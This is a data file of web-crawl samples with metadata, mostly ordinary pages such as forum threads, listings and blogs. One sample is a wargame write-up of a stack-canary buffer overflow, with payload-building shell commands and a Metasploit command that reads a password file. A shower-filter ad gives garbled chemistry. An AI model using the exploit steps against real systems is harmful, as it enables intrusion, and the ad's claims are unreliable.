three + ve points and ground, or whther you need to re-use the exiting red wires. David i am going with your plan .If i can reach the red wire contact location then i can remove the red wire altogether . That way no joints . Nice one David . Thank you for your help David , your still with me helping me along .I will let you know when i have one cap in place . Replacing then one at a time as i go .I will do one first then if no change reconect and do the next one. A nice trip down memory lane for me to see the inside of the set in so much detail. It looked a pristine example. The 9R59DS was my first SW receiver, from 1970 - 74 when I was licensed and upgraded to an HF transceiver. I did most of the Radio Constructor mods, which weren't too challenging as there's so much space below and above the chassis. I wonder how many of those carbon composition resistors are still in spec, and how the electrolytics have fared. They must have sold well - they seem to crop up quite often at the NVCF etc. The styling has stood the test of time. David hope that this news is not to upseting ,. Started to replace the new caps ,first problem would be, that there no way that three of these Axial caps will fit into the small place inside the chassis ,.So i opted out to just replace one at a time . This way it would eliminate if it was the C40- 42 . After i had worked through all three red wires from the old can .And re fitting the old wires back in place i still have the hum . So now it looks like looking in another place to solve it .Pictures in the the next post . The picture of progress. And in one way we now know that the C40 42 43 is ok .David you were right about the caps and to pick radial caps for this job . not axial caps .I wont be able to fit them in a can either . Trev, I suspect that more than one capacitor in the can has dried up and replacing only one would not reduce the hum. It's a good idea to replace one at a time but also necessary to fit all three together, to be completly sure that those in the can are not faulty.	{ "timestamp": "2019-04-22T04:22:40", "url": "https://www.vintage-radio.net/forum/showthread.php?s=7ce17e49ceac1317c421107317f6a4e4&t=152795&page=7", "language": "en", "source": "c4" }
Herd Bull Sculpture By Big Sky Carvers – B5030048 – NIB! New In Original Box! Herd Bull sculpture from the Marc Pierce Signature Collection is handcrafted by Big Sky Carvers artists based on founder Marc Pierce’s own life experiences. 8.5″ W x 11.75″ H. Material – Hand Cast Resins. This original “Montana Bronze” sculptures is composed by our proprietary process, using blends of fine resins. The beautiful finish is the result of hand-applied patinas and metallic paint, carefully matched to accent all of the subtle details of the artwork. Thank you for looking and be sure to check out our others listings for great deals on figurines. The item “Herd Bull Sculpture By Big Sky Carvers B5030048 NIB” is in sale since Wednesday, July 12, 2017. This item is in the category “Collectibles\Animals\Farm & Countryside\Deer”. The seller is “shadymaplegiftshop” and is located in East Earl, Pennsylvania. This item can be shipped to United States, Canada. admin, July 25, 2017. Category: herd. Tagged: b5030048, bull, carvers, herd, sculpture. “Herd Bull” magnificent elk sculpture. From the Marc Pierce Signature Collection. Artist’s signature on base. Measures 8.5″ W x 11.75″ H. Big Sky Carvers uses the Montana Bronze technique (which is a technique where fine resins are combined with pure pewter and bronze and are hand cast) to create these wildlife sculptures. The beautiful finish is the result of hand applied patinas and metallic paint, carefully matched to accent all of the subtle details of the artwork. Perfect for the country home, lodge, log cabin, home away from home, the den, or living room decor, this sculpture makes a great gift for that special person who loves the outdoor life. No PO boxes please. The item “Elk Herd Bull Marc Pierce Handcast Big Sky Carvers Sculpture NIB” is in sale since Sunday, December 14, 2014. This item is in the category “Collectibles\Animals\Farm & Countryside\Deer”. The seller is “mac-2-mac” and is located in Kenosha, Wisconsin. This item can be shipped to United States. admin, June 19, 2016. Category: herd. Tagged: bull, carvers, handcast, herd, marc, pierce, sculpture.	{ "timestamp": "2019-04-24T10:09:15", "url": "http://bigskycarvers.net/category/herd/", "language": "en", "source": "c4" }
very state has different laws regarding DUI convictions and every insurance company has different policies to try to help you dig yourself out of conviction-related incidents. If you get a DUI (Driving Under the Influence) conviction, your insurance rate will undoubtedly go up. Maybe the premiums will even double! This is the result of the Zero-Tolerance laws that went into effect in 1995. The only states that do not have these laws are South Carolina and Massachusetts, but they are considering them. Depending upon your past driving record and the insurance company that you use, you may not have a choice about what happens to your insurance coverage. Some policies are written as conservative risk insurance that will automatically cancel you once you have been convicted and they find out about it. Some insurance companies will cancel your current automobile coverage policy once you have been convicted, and will then offer you SR-22 insurance, which is much higher; but it’s about all you can get under this circumstance. It must be maintained for 3 years and then, if you have no more convictions, you may resume “normal” insurance. Some companies do not even offer SR-22 insurance, so they will simply cancel you and you must find a completely different company that is willing to work with you. SR-22 insurance means that your insurance company must notify the state where your license is issued if you have any lapses in insurance coverage. This notice can lead to total revocation of your license until you obtain coverage again. Still other companies are not allowed to cancel you mid-term even with a conviction due to local laws. Find out what your state does and discuss this issue with your insurance company before it happens to you so that you can be prepared for all possibilities. In most states, your insuring company will check for DUI convictions every three years as part of their normal operating procedure. Even if they miss the conviction initially, they have up to three years to cancel and/or raise your premiums! Even if no traffic accident occurs, finding new insurance can be the biggest cost you face when convicted of drunk driving.	{ "timestamp": "2019-04-19T02:21:32", "url": "http://www.alcoholalert.com/dui-convictions.html", "language": "en", "source": "c4" }
That’s our Sunday morning Lean Coffee practice. Here’s where we landed after a good 1.5-ish hours of structured-and-friendly conversation. When interviewing for a SM role, an insightful question is to ask what are the inputs and outputs of the engineering team? Geoff Watts published an article asking What kind of support a Scrum Master would need? See you there next time (if you’re lucky).	{ "timestamp": "2019-04-18T13:15:51", "url": "https://mikethecanuck.wordpress.com/tag/agile/", "language": "en", "source": "c4" }
Alas, my toddler cooking classes are starting to pay off! Another year wiser! Thank you Daddy for all your hard work!	{ "timestamp": "2019-04-22T08:19:46", "url": "http://raise-them-or-ruin-them.blogspot.com/2008/06/bonnie-and-clyde-in-kitchen.html", "language": "en", "source": "c4" }
I finished my first half marathon this morning!! Nick and I arrived in STL late yesterday evening to his parent’s house. We settled in, ate my last carb-loaded pasta dinner, and headed to bed by 9:30 to get a good night’s rest before my race. My stuffy nose had other plans for me though. We arrived at Forest Park around 7:40 and headed into the Visitors Center to get my bib and wait. There were tons of people inside waiting until the last minute to head out into the cold. It was sunny, around 40 degrees, and windy (around 20 mph). It was good for our take off and when they blew the air horn, I was feeling confident. I paced myself through the first 1.5 miles to around a 8:55/mile pace. I was feeling great and decided to push it up to a 8:45/mile pace but no faster. The wind was picking up a bit and I had no time to beat. I settled into a good groove with a middle-aged man in a red jacket (strangers can make great pace buddies!) and completed the first loop of the course like a breeze. When I started loop 2 on the course, I could see dark storm clouds coming our direction and the winds were beginning to really gust on the open stretches. It was not easy running up those hills the 2nd time with 35 mph wind gusts coming at me. But I was thankful for the runners around me. We were all struggling but knew we had to keep pushing. I lost many people on the hills today late in the race. Runners that had been nearby the whole time began to slow and fall back. This motivated me even more to keep pushing. I didn’t want to be one of those people who let the weather get the best of them! I made it through the hills the second time and knew I was in the home stretch. My phone said I was at 11.9 miles. Around 1:42 and I became extra hopeful that I would make it under the 2 hour mark. The wind was still getting worse and I started feeling some sprinkles. Push harder. It’s going to start pouring on you. I picked up my pace as much as possible and pushed past the stragglers in front of me to beat them to the finish line. When the finish line was right in site, I pushed faster than I thought possible. I crossed the line right at 1:56:10. Yay!!!!!! I was so happy to see Nick that I kept running past the finish line and right over to him. Sweaty hug time! But the rain was picking up and I had to potty (too much Gatorade!!), so we headed inside ASAP. Two minutes after we walked inside, it started pouring SNOW outside! I was beyond thankful that I had beat the sleet and snow. It was getting nasty fast out there. So I got a Frostbite Series shirt, took some photos and we headed out. Overall, it was a great race and I’m so happy that I did it under 2 hours. My head cold didn’t give me too much grief until the race was over and the wind didn’t damper my spirits…too much. Tonight I’m just relaxing with my compression socks and sweat pants on. I’m in total post-race recovery mode. Well have a great night everyone!! We will be heading home tomorrow afternoon, so I’ll see you once we are back in Springfield. Nighty night!	{ "timestamp": "2019-04-20T06:33:36", "url": "https://macandnocheese.com/2014/01/25/frostbite-half-marathon/", "language": "en", "source": "c4" }
This article describes the resolution of the french "Nuit du hack 2010" wargame level 7 test. This is a buffer overflow. Here, a protection was added with the introduction of a canary. This is a "random" integer pushed on the stack before the return address of a function and controled before the exit of this function. If the read integer is different of the attended value, the program quit immediatly. The interest of this article is in the exploitation by guessing the value of this canary. Added to that, we'll use two tips proposed by m_101_: The use of the tool pattern provided by Metasploit, and the obtention of the return address by reading dmesg. COOKIE="$(./level7 A\| cut -d ' ' -f 4)" COOKIEASCII="\x$(echo $COOKIE \| cut -c 7-8)\x$(echo $COOKIE \| cut -c 5-6)\x$(echo $COOKIE \| cut -c 3-4)\x$(echo $COOKIE \| cut -c 1-2)" STRING="'A'x64 . \"$COOKIEASCII\" . 'A'x12 . \"$ADDRESS\" . \"\x90\"x116 . \"$PAYLOAD\"" Explanation: Returns and sets the passed in variable to the number of seconds that have passed since 00:00:00 GMT January 1, 1970. If NULL is passed in, it will work as if it accepted nothing and return the same value. That means that time returns a result in seconds. So srnad(time(NULL)) returns the same result during one second. So rand returns the same result during one second. msf payload(exec) > set CMD "cat ../level8/passwd" STRING="\"$NOP\"x$INDEX . \"$COOKIEASCII\" . \"$NOP\"x$((200-4+174-$INDEX))" We find index = 64. STRING="'A'x64 . \"$COOKIEASCII\" . \"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1\"" We find the return address: 0xbffff6c0.	{ "timestamp": "2019-04-19T18:22:33", "url": "http://www.infond.fr/2010/08/lvl7-wargame-ndh2010-buffer-overflow.html", "language": "en", "source": "c4" }
Hand Spear fishing with the Land & Sea 3 Piece Travel hand spear for saleFishingtackle shop.com.au is famous for providing fishing products of all sorts for getting out on the water.... They come with a lot of space for you to put all your gear in. Non-roller bags are the bags that you carry around in your hand or on your back. If you are traveling light, a non-roller is the right pick for you. We offer a range of gear bags to transport and store your dive gear. We have bags that suit travel, fins, and spearguns/railguns. We have bags that suit travel, fins, and spearguns/railguns. Dive gear and equipment/storage bags bleach brave souls how to add symbols to name Hand Spear fishing with the Land & Sea 3 Piece Travel hand spear for saleFishingtackle shop.com.au is famous for providing fishing products of all sorts for getting out on the water. Can I take a two pin travel adapter plug in my hand luggage? However, the use of a hand spear (gidgie) is permitted to take estuarine cobbler in estuaries. Haul, set and throw fishing nets – most of the State is closed to set and haul netting. See our Recreational Net Fishing Guide for details. Dry bags are an essential item for the self-sufficient spearo, be it when diving from the shore or a boat. We carry standard Dry Bags in many sizes, 5, 12, 20, 30 litre and upwards but also dry backpacks and dry duffel bags.	{ "timestamp": "2019-04-26T10:11:35", "url": "http://cannabisapps.com/ontario/how-to-carry-a-catch-bag-hand-spearing.php", "language": "en", "source": "c4" }
BUY ONE MINIGOLF GAME, GET ONE FREE! BALL FORE! Miniature Golf Course Batting Cages, 6701 West 107th Street, Worth, IL 60483 (708) 671-1397. Coupon not redeemable for cash. Not redeemable for special events or birthday parties. One free round of golf per coupon. Duplicates not allowed. Good through end of 2017 season.	{ "timestamp": "2019-04-22T00:11:29", "url": "https://www.visitchicagosouthland.com/coupon?couponid=8", "language": "en", "source": "c4" }
1. Fill out a Membership Application and sign it. 2. Send the application to: Slate Roofing Contractors Association, 143 Forest Lane, Grove City, PA 16127 USA. Pay by check made payable to SRCA. Or click on the "Pay Dues" link at right and pay there! NOTE: A membership application must be paid, filled out, signed, and approved before a membership becomes valid. (Affiliate Members receive a plaque and internet listings only). Plus you will be listed on the Alphabetical Member List, Category Member List, Member Map, Contractor Directory, and on your choice of source lists: New Slate, Salvaged Slate, Ceramic Tile, Asbestos Tile, Consultants, and Architectural Sheet Metal. 1) Supporting Member: $100.00 U.S./year: This category is open to anyone who wants to support the SRCA, including homeowners and other non-professionals. The annual membership fee is $100.00. Membership benefits include a listing on the slateroofers.org web site with access to the “members only” section of the site. 2) Affiliate Member: $300.00 U.S./year: This category is open to those who are involved in the general slate manufacturing industry, roofing industry, architectural, consulting, and design industries, etc., but who are not roofing contractors who are actively engaged in slate roofing practices. The annual membership fee is $300.00 and includes a membership plaque. Membership also entitles the member to a listing and links on the slateroofers.org web site with access to the “members only” section of the site, and listing on the slateroofers.org source lists. 3) Non-Profit Affiliate Member: Free: For non-profit 501c3, 501c6, or unincorporated state-registered non-profit associations engaged in related activities such as roofing, general construction, historic preservation, building trades education, materials standards, construction specifications, or other non-profit categories directly or indirectly related to slate roof contracting. Each non-profit affiliate membership will be considered a single, non-voting member. Dues are waived for non-profit affiliates, but such members must submit an updated membership application on a yearly basis as a condition of continuing membership. Member non-profits are encouraged to offer a similar reciprocal, dues-free membership to the SRCA. Membership also entitles the member to a listing and links on the slateroofers.org web site with access to the “members only” section of the site, and listing on the slateroofers.org source lists. 4) Roofing Contractor Member:$400.00 U.S./year: This membership level is open to professional roofing contractors who do not have 5 years continuous professional experience in natural quarried slate roofing and/or do not currently do at least 75% of their roof contracting in natural quarried slate. This category is suitable for those roofing contractors who do primarily non-slate roofing, but also do some slate work. The $400.00 annual membership fee includes a membership plaque, a listing and links on the SRCA Contractor Directory, a listing and links on the slateroofers.org website with access to the “members only” section of the site, a listing on any of the slateroofers.org source lists, a copy of the Slate Roof Bible, 3rd edition, and a copy of the National Slate Association's 1926 book, Slate Roofs. 5) Slate Roofing Contractor Member:$400.00 U.S./year: This membership level is open to roofing contractors in good standing who have 5 years continuous professional experience in natural quarried slate roofing and, during that time have done at least 75% of their roof contracting in natural quarried slate OR who do at least $500,000.00 per year in natural quarried slate roofing contracts. If you feel that you qualify for Slate Roofing Contractor status but don't fulfill the requirements listed above, you can apply for a variance. This membership level requires an annual fee of $400. In return, the member receives a membership plaque, a listing and links on the SRCA Contractor Directory, a listing and links on the slateroofers.org website with access to the “members only” section of the site, and a listing on any of the slateroofers.org source lists. Slate Roofing Contractor members also receive a copy of the Slate Roof Bible, 3rd edition, and a copy of the National Slate Association's 1926 book, Slate Roofs.	{ "timestamp": "2019-04-23T08:25:16", "url": "http://slateroofers.org/join.html", "language": "en", "source": "c4" }
New budget flexibility will allow 149 towers at small airports to stay open at least until Sept. 30. WASHINGTON – The Federal Aviation Administration will keep open for now the 149 control towers at small airports that were slated to close as the result of government-wide automatic spending cuts imposed by Congress, the Transportation Department said Friday. The towers, which are operated by contractors for the FAA at low-traffic airports, had been scheduled to close June 15. They will now remain open at least through Sept. 30, the end of the federal budget year, the department said in a statement. A bill hastily passed by Congress last month to end air traffic controller furloughs also makes enough money available to keep the towers open, the statement said. The bill gave the FAA authority to shift $253 million from accounts with unspent funds to keep controllers on the job. The furloughs at all FAA-operated airport towers and air traffic control facilities caused widespread flight delays across the country for nearly a week before Congress stepped in. FAA officials have previously said they needed at least $200 million to eliminate the need for furloughs. The bill didn’t require the FAA to spend the remaining funds on keeping towers at small airports open, but lawmakers said they anticipated the agency would use the money that way. The FAA will also put $10 million toward reducing cuts and delays in its program to move from a radar-based air traffic control system to one based on satellite navigation, the statement said. Another $11 million will go to “partially restore the support of infrastructure in the national airspace system,” the statement said. While the decision gives the small airports a temporary reprieve, FAA officials will still be under pressure to find ways to further cut spending in next year’s budget. The FAA’s initial decision to close the airport towers set off an intense lobbying campaign to keep them open by airport operators, the communities where the airports are located and members of Congress with an airport in their district or state. Several lawmakers and the trade association that represents contractors who operate the towers claimed victory after Friday’s announcement. “The broad coalition of communities, airports, air traffic controllers, aviation system users and members of Congress that has emerged in recent months united in the fight to keep contract towers open is a testament to the important role these facilities play in enhancing the safety and efficiency of the nation’s aviation system,” J. Spencer Dickerson, executive director of the U.S. Contract Tower Association, said. “It’s been a long fight since our original amendment to prevent the towers from closing and preserve aviation safety was blocked from a vote, but in the end common sense prevailed over politics,” Sen. Jerry Moran, R-Kan., said in a statement.	{ "timestamp": "2019-04-20T02:18:31", "url": "https://www.pressherald.com/2013/05/11/faa-says-control-towers-to-stay-open_2013-05-11/", "language": "en", "source": "c4" }
It seems that Government is going, or would have already gone, ahead with the nomination of someone, who is allegedly close to the “La Kwizin”, on the board of the Electoral Supervisory Commission and Electoral Boundaries Commission despite strong criticisms from different political parties. Would the latter parties have done differently? We do not think so. What the present regime is doing at the CHC, MTPA, IBA, NCB, ESC… is not any different from what has been done in the past. Plus ça change, plus c’est la même chose! Once upon a time our civil service was known for its high standards with stalwarts like Dayanand Heeralall, Bramduth Ghoorah, Manou Bheenick, Armand Maudave, France Empeigne and a few others. Those standards were inculcated to new entrants and pervaded the whole service. If you are called for a meeting with the boss, it meant that you should be able to answer on the spot on the dossier or sector that had been entrusted to you. The same cannot be said about the high level delegation to the United Nations led by the Vice-Prime Minister. They failed to keep our banner flying high at Geneva. How could they? That was our present civil service at its best — glorified clerks without any rigour or brilliance whatsoever, it was just mediocre and approximate appropriateness. Disappointing performance of the delegation – but not in terms of per diems! The shareholders of the bank are worried about their investments. The bank’s stock price has continued to slide, losing some Rs 1.30 since the first week of August of this year. Many may see a compelling reason to offload their bank shares at this early stage. Others however believe that there could obviously be a net gain for shareholders if the bank were able to tackle some of its governance issues. These issues relate to the composition of the Board of Directors (more of independent directors), the powers of the board (to nominate senior managers), and an effective board and a full-time chairman to respond to technical demands that the fiduciary duties impose upon a bank’s board members. These basic sound corporate governance principles should provide proper incentives to the board and management to pursue objectives that are in the interest of the company and its shareholders, and facilitate effective monitoring that will enhance shareholders’ value. These will also be a strong check against possible political interference. It does seem so as it all started with the abandonment of the ‘Maurice Ile Durable’ (MID) project followed by the development of Saint Louis Power Station (coal) and the Albion Oil Refinery. Some 130 trees were felled at the Promenade Roland Armand to make room for the Metro Express project. In the region surrounding Roche Bois, some 200 trees were cut down to make place for the 3-km third lane of the Roche-Bois/Jin Fei project; for the Pont Fer-Phoenix extension, some more trees on the river bank near MITD were cut down too. Most disconcertingly, given the rich fauna and flora of the island of Agalega, the jetty and new 3km-long runway project implemented by Afcons Infrastructure Ltd with Indian grants has been exempted from the requirements of an EIA licence. You would recall the tussle of “Aret kokin nu laplaz” platform with the promoters of the Chaland Resort hotel which, according to the protest group, may affect the marine ecosystem of Blue Bay and the biodiversity of La Cambuse. And more recently there had been the fish farms controversies with our two local Lucky Lukes hunting down the whales and sharks. And last but not least, the lower priority given to the UN Sustainable Development Goals (SDGs). From reducing our carbon emissions and building resilience against the extreme weather associated with climate change, to leading international action to enhance the protection of our countryside, rivers, coastline and wildlife habitats, and developing new methods of agricultural and fisheries support which put the environment first, we still have a long way to go. By the time the Metro will be on the rails and running, it will be remembered more for its travails than an achievement. It started by the bulldozing of the houses on the Metro Express route at la Butte and Residence Barkly despite the resistance of inhabitants. The chaotic situation at the Victoria Bus Terminal, the agonies of inhabitants of Vandermeersch disturbed by the noise and vibration till late in the night, the damaged pipes causing significant water leaks, the felling of trees at Promenade Roland Armand, the traffic diversions and jams causing economic losses and affecting productivity, the poor conditions of roads, sewerage pipes damaged at Margeot Square with the risk of contamination and other inconveniences – you name it! In its hurry to complete the project before the 2019-20 elections and thus win over the electorate by the upgraded transport infrastructure for a modern, liveable, vibrant and smart Mauritius, they seem to have forgotten the need to engage the public in their prestige project. And the public is growing more exasperated day by day, a situation exacerbated by a communication breakdown between the different governmental institutions (CWA, WMA, RDA) and the public. Ena perdi vote la dan!!! No matter who heads the government, Lottotech always wins. Under the previous government, the contribution of Lottotech to the Consolidated Fund (CF) was reduced from an initial 58.01% to 46.16% based on two authorised games. Under the present government, the contribution to the CF was raised marginally from 46.16% to 47.16%, but in return Government agreed to offer it a boulevard. The operating licence of Lottotech got renewed for two consecutive periods of five years up to April 2029; further Lottotech has been authorised to operate a second weekly Lotto 6/40 game as well as the transfer to it of the brand name and mark of the “Loterie Verte”, which means that Lottotech has moved on to become the sole operator of the lottery business in Mauritius – a monopoly situation that has been offered to it lock, stock, and barrel. Of course, it has been grinning from ear to ear, as it has just won a lottery for itself. But this wonderful story for Lottotech does not end here, it goes on and it will continue winning in the future. If the next government quashes the 10-year agreement, it will take the government to court and there will again be a mediation agreement where it will be offered another “red carpet treatment”. These politicians’ little political games and tricks are not in the least funny to us – taxpayers — at the receiving end. There is quite a long list of cases of profligacy with taxpayers money – Rs 400 million for a road at Rivière-Noire, Rs 15 m each for Dayal and Husnoo, Rs 47 M down the drain for Heritage City, Rs 350 M transferred to Price Stabilising Account for petroleum products rather than investing in the replacement of the long overdue CWA water pipes, repayment obligations of the National Property Fund to former policyholders and investors of the BAI Group. We, the taxpayers, are being taken along for a long ride. This “Vire Mam” government now turned “Pa Denigre Mam” is introducing new regulations to restrict blogging and the use of Facebook. This government which came to power with the promise to support freedom of dissent and speech is threatening to censor blogs and control the online sphere. Why? Because internet cultures are reformatting politics and the dynamics of online activism have led to a crucial realization that the users of the media are deeply aware of the power of particular media formats. The present regime, seeing its popularity plunging day by day, is trying to control, delimit and reshape the domains of public debate and political expression. The issue of securing the internet is emphasised to bolster the legitimacy of censorship. Various regimes have tried to muzzle the media to make it a fragile fourth estate of democracy but have failed miserably.	{ "timestamp": "2019-04-19T18:37:47", "url": "http://www.mauritiustimes.com/mt/appointment-at-the-electoral-supervisory-commission/", "language": "en", "source": "c4" }
What do the Allies do outside of EZA? Not sure if this has ever been asked before, but I've wondered, if only 3 of the Allies are full time there, do the other ones have side jobs that they do otherwise? I know Kyle did/does that work with Live with Youtube Gaming, but just wondering if it's ever been said if the other guys have other jobs. Don works at Funhaus and Ian does editing somewhere, freelance possibly? Live with Youtube Gaming ended, so I'm not sure what Kyle is doing now. Huber and Brad don't have anything other than EZA.	{ "timestamp": "2019-04-25T16:09:06", "url": "https://forums.easyallies.com/topic/3288/what-do-the-allies-do-outside-of-eza", "language": "en", "source": "c4" }
Dispatch Radio, The Global Dispatch discuss The Valhalla Project with co-founder Gordon Cucullu and Sheila Stephens. 97.1 FM Talk's Jamie Allman films Colonel Gordon Cucullu as he opens for Laura Ingraham in Saint Louis. Learning to Fly in North Carolina - above a wind tunnel! This is shaky amateur video of Laura Ingraham speaking before a book signing at Borders in Beachwood Ohio on September 22, 2007. 97.1 FM Talk's Jamie Allman at the FBI shooting range. 97.1 FM Talk's Jamie Allman leads the crowd in a chant of "Power to the People" moments before Laura Ingraham takes the stage in Saint Louis. 97.1 FM Talk's Jamie Allman films Laura Ingraham as she talks to a crowd in Saint Louis. South Florida Baseball School - One Way - Recruiting video for Chris Brown. 97.1 FM Talk's Jamie Allman fills in nationally for Laura Ingram on The Laura Ingram Show.	{ "timestamp": "2019-04-24T08:05:01", "url": "http://web2.wsj2.com/gordon-cucullu", "language": "en", "source": "c4" }
Whether it’s a pastry blender, stainless steel frying pan, makeup kit, or stethoscope, specialized training tools are an essential part of the hands-on learning experience at Vancouver Community College. And now it’s even easier for VCC students to buy required supplies for the new term, without ever leaving home. New this winter, the VCC Bookstore has expanded the online shopping experience to go well beyond traditional textbooks. Students can now shop online for e-books and a variety of school supplies that are required for studies in culinary arts and baking, hair design, esthetics, health sciences, and others. Orders are available to pick up or students can choose to ship directly to a home address, which takes a few days (standard shipping rates apply).	{ "timestamp": "2019-04-26T14:25:35", "url": "https://www.vcc.ca/about/college-information/news/article/vcc-expands-online-shopping-experience.html", "language": "en", "source": "c4" }
In the shower environment, chlorine can either be in a liquid or gas state. At higher water temperatures in the enclosed shower stall, free-chlorine moves from the liquid to the gas state, where it vaporizes and subsequently is inhaled. In the shower environment, chlorine can either be in liquid or gas state. At higher water temperatures in the enclosed shower stall, free-chlorine moves from the liquid to the gas state, where it vaporizes and subsequently is inhaled. In the shower environment, chlorine can either be in liquid or gas state. At higher water temperatures in the enclosed shower stall, free-chlorine moves from the liquid to the gas state, where it vaporizes and subsequently is inhaled. The United States regulates all showerhead flow at 2.5 gallons per minute. Thus, the science behind shower filtration must take into account the unique situation in the shower, including temperature, flow rate, and volume. Since chlorination is a long established public health practice necessary for the disinfection of drinking water, consumers are aware of the health benefits drinking filtered water can provide. However, it’s surprising for some people to learn that 50% of their daily exposure is in the shower. The other 50% comes from their drinking water. Therefore, filtering shower water is equally as important as filtering drinking water. In addition to the benefits of filtering water, there are cosmetic benefits. Symptoms of chlorine exposure are dry and/or flaking skin, dry brittle hair, and red irritated eyes. Filtering your shower water reduces these symptoms. Using a patented blend of high-purity calcium, copper, and zinc; the Berkey Shower Filter™ works on a similar principle to a Catalytic Converter in an automobile. In shower filtration free-chlorine is converted into a harmless chloride. The scientific name for this chemical reaction is known as “Reduction-Oxidation”, commonly referred to as Redox. Redox reactions can be chemically complex. Simply stated, during a Redox reaction electrons are transferred between molecules, creating new elements. For instance, when free-chlorine comes in contact with the filtration media, it is changed into a benign water-soluble chloride. This reaction changes free-chlorine to a larger chloride element. This is too large to evaporate or be absorbed by the skin. It is then carried harmlessly through the water supply.	{ "timestamp": "2019-04-22T18:45:24", "url": "https://berkeywaterfiltercanada.ca/product/berkey-shower-filter/", "language": "en", "source": "c4" }
Project Description: The City of Hartford City began early action projects to reduce CSO overflows and to comply with its CSO Long Term Control Plan. The project included approximately 5,800 feet storm sewer installation to separate clear water sources from the combination sewer system. OCRA grant funds financed a portion of the project.	{ "timestamp": "2019-04-20T22:13:11", "url": "http://ucindy.com/project/hartford-city-2010-sewer-separation/", "language": "en", "source": "c4" }
Congrats and just remember the stress will end soon! BTW: How long ago did you start planning? I'm just in the beginning stages and have no clue what I'm doing! Oooh...the Amaranth Enchantment sounds AMAZING, lucky you! And I'm sure your wedding will be gorgeous! Those flowers are super-pretty! Oh how exciting! I love weddings. Those flowers are lovely. Only 3 weeks wow, time goes by so quickly. Love the flowers we made a lot of flower stuff for our own wedding, so i know how much it all helps. Amazing! I hope your wedding plans fall into place and that you enjoy your day! Those flowers are pretty - are some of them made out of pages??? The flowers are beautiful! Good luck with your school projects and the wedding plans! Congrats and the flowers look amazing!! I love the colors! Congrats! I had no idea you were planning a wedding I loved planning ours. I love the flowers, too!! the flowers are gorgeous! I can't wait to see pics of the wedding. Wow, didn't know it was so soon! That's so exciting! Try not to stress too much. Just remember that it can't all go perfectly so don't let the little things get to you. Try to relax, enjoy and go with the flow. It's the little unpredictable moments that give your wedding personality and that you will laugh about later. Have a wonderful day and enjoy it all. It does go so very fast. Would also love to chat with you sometime about help for the childrens librarian at our public library. She wants to get more involved with the internet and possibly blogging. When I told her about ways to make contact with other librarians, authors, publishers, etc., she was thrilled and wanted to know more. I mentioned you and all of the neat things that you do on your blog. She is especially interested now that the budget has been cut further and she can't order as many books. Thanks so much!	{ "timestamp": "2019-04-19T08:51:27", "url": "http://www.greenbeanteenqueen.com/2009/04/weekend-means-wedding-planning-and.html", "language": "en", "source": "c4" }
Like our financially savvy kittens? You should meet all the kittens. You could start from the very beginning by going to Kittenomics #1 and learning what a healthy definition of success is. Already met her? Look at the splash page of all the Kittenomics kittens at kittenomics.com and find your next adorable teacher. Seen all of our kittens and want more? Subscribe to the blog to receive all the future Kittenomics kittens or comment on this post and ask us to come out with them biweekly instead of weekly. Want to see all the kitten spin offs? Get inspired by the Marotta on Money Kittenomics Pinterest board or make your own from our posts. Or you could stay on Marotta on Money and either browse the kitten’s posts or look into the other amazing content we have. Don’t miss out on a single kitten! Photo of Mona taken by Christian Holmer and used here under Flickr Creative Commons. Subscribe and receive Kittenomics every week!	{ "timestamp": "2019-04-26T06:42:31", "url": "http://www.marottaonmoney.com/kittens/", "language": "en", "source": "c4" }
The name of the post it is exactly what I did to create this playlist. Enjoy! // Aleatorio : eso es lo que use para crear este playlist. What are your favorite songs? Let me know in a comment below, I want to do a playlist inspired by you! // Cuales son sus canciones favoritas? Diganmelo en un comentario, me gustaría hacer un playlist inspirado en ustedes.	{ "timestamp": "2019-04-19T18:33:12", "url": "http://www.the-colorpalette.com/2014/12/playlist-friday-shuffle.html", "language": "en", "source": "c4" }
Maggie Feher has been associated with thirty-four companies, according to public records. The companies were formed over a thirty-two year period with the most recent being incorporated seven months ago in September of 2018. Twenty-Five of the companies are still active while the remaining nine are now listed as inactive. A connection is made when two people are officers, directors, or otherwise associated with the same company. Maggie has sixty-two known connections and has the most companies in common with Robert Kurnick. Receive an email notification when changes occur for Maggie Feher. These addresses are known to be associated with Maggie Feher however they may be inactive or mailing addresses only. Please verify address for mailing or other purposes.	{ "timestamp": "2019-04-22T10:19:18", "url": "https://www.corporationwiki.com/New-Jersey/Turnersville/maggie-feher-P7542141.aspx", "language": "en", "source": "c4" }
Warning: The older the article, the more likely the information is outdated. View our FAQ for more information! It is that time of year again! The holiday season is upon us and of course we have kicked our celebration into high gear once again! We just wish Moko did not have a thing for tinsel. So to continue our celebration we have once again brought you an article jam packed with all of your holiday favorite rules questions and answers! So read on in this week's festive edition of Cranial Insertion! That is no small moon over there, it is just a Wheel of Sun and Moon! This week we have for you an exciting set of questions to challenge your Magic rules senses, in another one of our exciting quiz episodes! So come and tickle your fancy, just watch out for that giant fuzzball over there (Moko just glued a bunch of fur to his bones) as we journey onward in this week's Silver bordered edition of Cranial Insertion! Unstable is on the horizon and we have taken this moment to try and settle the shaky foundations of your rules knowledge with some answers to all of those troubling questions regarding those pesky silver-bordered cards! So read on in this week's fun filled adventure we call an article of Cranial Insertion! Now with more AWASLFAQPAFTIDAWABIAJTBT. Pull up and grab a slice! This week's exciting edition of Cranial Insertion has just hit your browser window! Once again featuring all the rules question and answers you have been asking for! So let's get on with the show! The year is winding down and Thanksgiving is near at hand so we here at the Cranial Insertion offices are giving thanks for you our readers! So we are serving up another article of the rules questions and answers you know and love! Join us for this week's exciting edition of Cranial Insertion. Iconic Masters is close at hand, so we take a look at some of the most iconic questions in our inbox! All the while we try to provide masterful answers to those questions, in this week's exciting edition of Cranial Insertion! Now with 20% more icons to storm castles with. Autumn is in full swing here and we have decided to reflect upon the size of our inbox and try to shrink it down somewhat. That being said you benefit from yet another article chock full of the answers you seek! So join us for this week's exciting edition of Cranial 